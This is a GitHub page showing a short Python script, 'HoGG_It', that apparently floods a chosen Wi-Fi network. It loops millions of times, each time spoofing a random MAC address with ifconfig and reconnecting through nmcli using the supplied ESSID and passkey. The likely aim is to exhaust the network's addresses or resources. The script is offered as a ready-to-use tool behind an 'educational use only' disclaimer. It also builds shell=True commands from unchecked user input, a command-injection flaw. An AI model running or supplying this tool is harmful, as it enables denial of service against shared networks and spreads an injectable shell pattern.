-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHoGG_It.py
70 lines (54 loc) · 2.33 KB
/
HoGG_It.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
"""HoGG_It 1.0, Written by XxTheSunxX. Updated: July 27Th 2024"""
"""For educational use only. Writer is not responsible for any physical, digital, or legal damaged caused by this script."""
"""Use at your own descretion"""
import socket
import sys
import time
from getmac import get_mac_address as gma
from generate_mac import generate_mac
import subprocess
import os
from colorama import Fore
from colorama import init as colorama_init
print(Fore.RED + """
██ ██ ██████ ██████ ██████ ██ ████████
██ ██ ██ ██ ██ ██ ██ ██
███████ ██ ██ ██ ███ ██ ███ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██████ ██████ ██████ ███████ ██ ██
By XxTheSunxX
""")
print(Fore.WHITE + " ")
def main():
confirm = input('Run HoGG_It [(y)es or(n)o]? ')
if confirm == 'yes' or confirm == 'y' or confirm == 'Y' or confirm == 'YES':
print('Running HoGG_It...')
else:
print('Exiting HoGG_It...')
time.sleep(1)
sys.exit()
var_mac = ''
hostname = socket.gethostname()
IP = socket.gethostbyname(hostname)
iface = input("Enter interface would you like to use (enter network interface): ")
essid = input("Enter essid would you like to connect to (network name): ")
key = input("Enter essid passkey: ")
print(f'Current Mac address: {gma()}')
print(f'Current IP address: {IP}')
n = 0
while n < 16777216:
var_mac = generate_mac.total_random()
subprocess.check_output(f"ifconfig {iface} down", shell=True)
time.sleep(1)
subprocess.check_output(f"ifconfig {iface} hw ether {var_mac}", shell=True)
time.sleep(1)
subprocess.check_output(f"ifconfig {iface} up", shell=True)
time.sleep(1)
subprocess.check_output(f"nmcli dev wifi connect {essid} password {key}", shell=True)
hostname = socket.gethostname()
IP = socket.gethostbyname(hostname)
print(f'Current Mac address: {gma()}')
time.sleep(1)
n = n + 1
if __name__ == '__main__':
main()